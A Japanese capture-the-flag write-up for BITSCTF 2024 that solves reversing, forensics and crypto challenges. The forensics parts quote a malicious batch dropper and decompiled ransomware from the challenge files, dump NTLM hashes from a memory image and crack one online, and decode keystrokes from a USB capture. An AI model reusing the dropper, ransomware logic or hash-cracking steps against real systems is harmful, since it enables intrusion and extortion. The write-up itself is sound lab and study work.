この大会は2024/2/16 3:30(JST)~2024/2/18 3:30(JST)に開催されました。
今回もチームで参戦。結果は2679点で921チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (MISC)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
BITSCTF{w3Lc0mE_70_BITSCTF-2024}
baby-rev (REV)
Ghidraでデコンパイルする。
undefined8 main(void) { size_t sVar1; long in_FS_OFFSET; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Enter a string: "); fgets(local_38,0x20,stdin); sVar1 = strlen(local_38); if (sVar1 == 0x18) { myfunc(local_38); } else { puts(":P\n"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } void myfunc(char *param_1) { if (*param_1 == 'B') { if (((((((param_1[4] == 'C') && (param_1[0xd] == 'm')) && (param_1[0x13] == 'r')) && (((param_1[3] == 'S' && (param_1[10] == 'l')) && ((param_1[2] == 'T' && ((param_1[0xe] == 'e' && (param_1[0x11] == '0')))))))) && ((param_1[0x16] == '}' && (((param_1[7] == '{' && (param_1[5] == 'T')) && (param_1[0xf] == '_')))))) && (((param_1[1] == 'I' && (param_1[0x15] == 'v')) && (((param_1[8] == 'w' && ((param_1[0xb] == 'c' && (param_1[6] == 'F')))) && (param_1[0x14] == '3')))))) && ((((param_1[9] == '3' && (param_1[0xc] == '0')) && (param_1[0x10] == 't')) && (param_1[0x12] == '_')))) { puts("Yippee :3\n"); } } else { puts(":PP\n"); } return; }
このコードから入力文字列の長さは改行を含め24バイトで、myfuncの各インデックスごとのチェックを満たすものということがわかる。
1111111111222 01234567890123456789012 BITSCTF{w3lc0me_t0_r3v}
BITSCTF{w3lc0me_t0_r3v}
Intro to DFIR (DFIR)
問題にフラグが書いてあった。
BITSCTF{DFIR_r0ck55}
Access Granted! (DFIR)
$ python3 vol.py -f memdump.mem windows.info : : Kernel Base 0xf80611800000 DTB 0x1aa000 Symbols file:///home/ctf/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 FileLayer KdVersionBlock 0xf8061240f400 Major/Minor 15.19041 MachineType 34404 KeNumberProcessors 4 SystemTime 2024-02-15 16:37:18 NtSystemRoot C:\Windows NtProductType NtProductWinNt NtMajorVersion 10 NtMinorVersion 0 PE MajorOperatingSystemVersion 10 PE MinorOperatingSystemVersion 0 PE Machine 34404 PE TimeDateStamp Mon Dec 9 11:07:51 2019 $ python3 vol.py -f memdump.mem windows.hashdump Volatility 3 Framework 2.5.2 Progress: 100.00 PDB scanning finished User rid lmhash nthash Administrator 500 aad3b435b51404eeaad3b435b51404ee 8a320467c7c22e321c3173e757194bb3 Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 74d0db3c3f38778476a44ff9ce0aefe2 MogamBro 1000 aad3b435b51404eeaad3b435b51404ee 8a320467c7c22e321c3173e757194bb3
CrackStationで以下のNTLMハッシュをクラックする。
8a320467c7c22e321c3173e757194bb3
パスワードは以下であることがわかる。
adolfhitlerrulesallthepeople
BITSCTF{adolfhitlerrulesallthepeople}
0.69 Day (DFIR)
artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\AppData\Roamingを見ると、WinRARフォルダがある。WinRARの脆弱性を調べると、以下のCVEが見つかった。
CVE-2023-38831
BITSCTF{CVE-2023-38831}
I'm wired in (DFIR)
artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Desktopを見ると、keylog.pcapngがある。USBキーボードの入力をスキャンしたもののようなので、キー入力を読み取る。
#!/usr/bin/env python3 from scapy.all import * keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'), 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'), 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'), 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'), 0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'), 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'), 0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?')} packets = rdpcap('keylog.pcapng') flag = '' for p in packets: buf = p['Raw'].load if len(buf) == 35 and buf[29] != 0: if buf[27] == 0: flag += keymap[buf[29]][0] elif buf[27] == 2: flag += keymap[buf[29]][1] print(flag)
実行結果は以下の通り。
I haveebeen haakee !!! HELLMEE BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!} ~ MogamBro
このフラグはダメだった。"-"を削除したら、通った。
BITSCTF{I_7h1nk_th3y_4Re_k3yl0991ng_ME!}
Bypassing Transport Layer (DFIR)
artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Desktop\keysをエクスポートする。
このkeysはSSLKEYLOGFILEのようだ。
Wiresharkでtrace.pcapを開き、[編集]-[設定]を選択する。設定画面の[Protocols]-[TLS]を選択し、[(Pre)-Master-Secret log filename]にkeysのファイルパスを指定する。
これでTLS通信パケットを復号できる。パケット詳細を"BITSCTF"で検索すると、HTTP2の通信のNo.64663のパケットが引っかかる。該当するデータを見ると、以下のようになっている。
</div></li><li class="li1"><div class="de1">Anyways here's your flag - BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}</div></li></ol> </div>\n
BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}
Lottery (DFIR)
artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Downloadsを見ると、Follow-these-instructions.zipがあるので、エクスポートする。zipファイルを7zip File Managerで開き、steps.pdfフォルダ配下のsteps.pdf.batを見てみると、以下のように書いてある。
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit @echo off lottery.exe & start chrome -incognito https://pastebin.com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdf exit
C:\Users\MogamBro\Downloadsにはlottery.exeもあるので、エクスポートする。バイナリエディタで見ると、Python製のexeのようなので、デコンパイルする。
$ python3 pyinstxtractor.py lottery.exe [+] Processing lottery.exe [+] Pyinstaller version: 2.1+ [+] Python version: 3.8 [+] Length of package: 9008682 bytes [+] Found 122 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_setuptools.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: lottery.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: lottery.exe You can now use a python decompiler on the pyc files within the extracted directory $ pycdc lottery.exe_extracted/lottery.pyc # Source Generated with Decompyle++ # File: lottery.pyc (Python 3.8) import os import tempfile from Crypto.Cipher import AES from Crypto.Util.Padding import pad def generate_key(): key = os.urandom(32) fp = tempfile.TemporaryFile('w+b', False, **('mode', 'delete')) fp.write(key) return key def encrypt_file(file_path, key): Unsupported opcode: BEGIN_FINALLY iv = b'urfuckedmogambro' # WARNING: Decompyle incomplete if __name__ == '__main__': key = generate_key() file_path = 'secret.png' encrypt_file(file_path, key) print('Dear MogamBro, we are fucking your laptop with a ransomware & your secret image is now encrypted! Send $69M to recover it!')
keyは一時ファイルを作成し、削除はされていない。出力パスはC:\Users\MogamBro\AppData\Local\Temp配下でtmpから始まるファイル名のファイルになる。tmpd1tif_2aがあったので、エクスポートする。
C:\Users\MogamBro\Downloadsにsecret.png.encがあるので、エクスポートする。このファイルは暗号化されているが、keyは上記の一時ファイルにあり、ivもわかっているので、復号できる。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad with open('secret.png.enc', 'rb') as f: enc = f.read() with open('tmpd1tif_2a', 'rb') as f: key = f.read() iv = b'urfuckedmogambro' cipher = AES.new(key, AES.MODE_CBC, iv) dec = cipher.decrypt(enc) pad = dec[-1] assert dec[-pad:] == bytes([pad]) * pad dec = dec[:-pad] with open('secret.png', 'wb') as f: f.write(dec)
復号した画像にフラグが書いてあった。
BITSCTF{1_r3c3ived_7h3_b0mbz}
Baby RSA (CRYPTO)
行列のRSA暗号になっている。gがフラグを4分割した2×2の行列、cが暗号化後の行列、e = 65537とすると、以下のように暗号化されている。
g ** e = c mod n
nをfactordbで素因数分解する。
n = p * q = 142753777417406810805072041989903711850167885799807517849278708651169396646976000865163313860950535511049508198208303464027395072922054180911222963584032655378369512823722235617080276310818723368812500206379762931650041566049091705857347865200497666530004056146401044724048482323535857808462375833056005919409 * 161374151633887880567835370500866534479212949279686527346042474641768055324964720409600075821784325443977565511087794614167314642076253331252646071422351727785801273964216434051992658005517462757428567737089311219316483995316413254806332369908230656600378302043303884997949582553596892625743238461113701189423
c = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。modulo p だとジョルダン標準形が見つからないので、modulo q で計算する。
g * g * ... * g = P * J * inverse(P) ↓ (inverse(P) * g * P) ** e = J
Jの1行1列目と2行2列目を復号すると、inverse(P) * g * P = Qの値がわかる。この場合以下の式で表せ、gが算出できる。
g = P * Q * inverse(P)
qは1024ビットなので、フラグの長さの1/4より極度に大きいと推測できる。このままgの各要素を文字列にして結合すればフラグになりそう。
#!/usr/bin/sage from Crypto.Util.number import long_to_bytes with open('chall.txt', 'r') as f: params = f.read().splitlines() e = 65537 n = int(params[0].split(' ')[-1]) c00 = int(params[2]) c01 = int(params[3]) c10 = int(params[4]) c11 = int(params[5]) p = 142753777417406810805072041989903711850167885799807517849278708651169396646976000865163313860950535511049508198208303464027395072922054180911222963584032655378369512823722235617080276310818723368812500206379762931650041566049091705857347865200497666530004056146401044724048482323535857808462375833056005919409 q = 161374151633887880567835370500866534479212949279686527346042474641768055324964720409600075821784325443977565511087794614167314642076253331252646071422351727785801273964216434051992658005517462757428567737089311219316483995316413254806332369908230656600378302043303884997949582553596892625743238461113701189423 assert n == p * q cq = matrix(Zmod(q), [[c00, c01], [c10, c11]]) J, P = cq.jordan_form(transformation=True) phi = q - 1 d = pow(e, -1, phi) j00 = J[0][0] j11 = J[1][1] Q00 = pow(j00, d, q) Q11 = pow(j11, d, q) Q = matrix(Zmod(q), [[Q00, 0], [0, Q11]]) g = P * Q * ~P flag = '' for i in range(2): for j in range(2): flag += long_to_bytes(int(g[i][j])).decode() print(flag)
BITSCTF{63N3r41_11N34r_6r0UP_C4ND0_4NY7H1N6}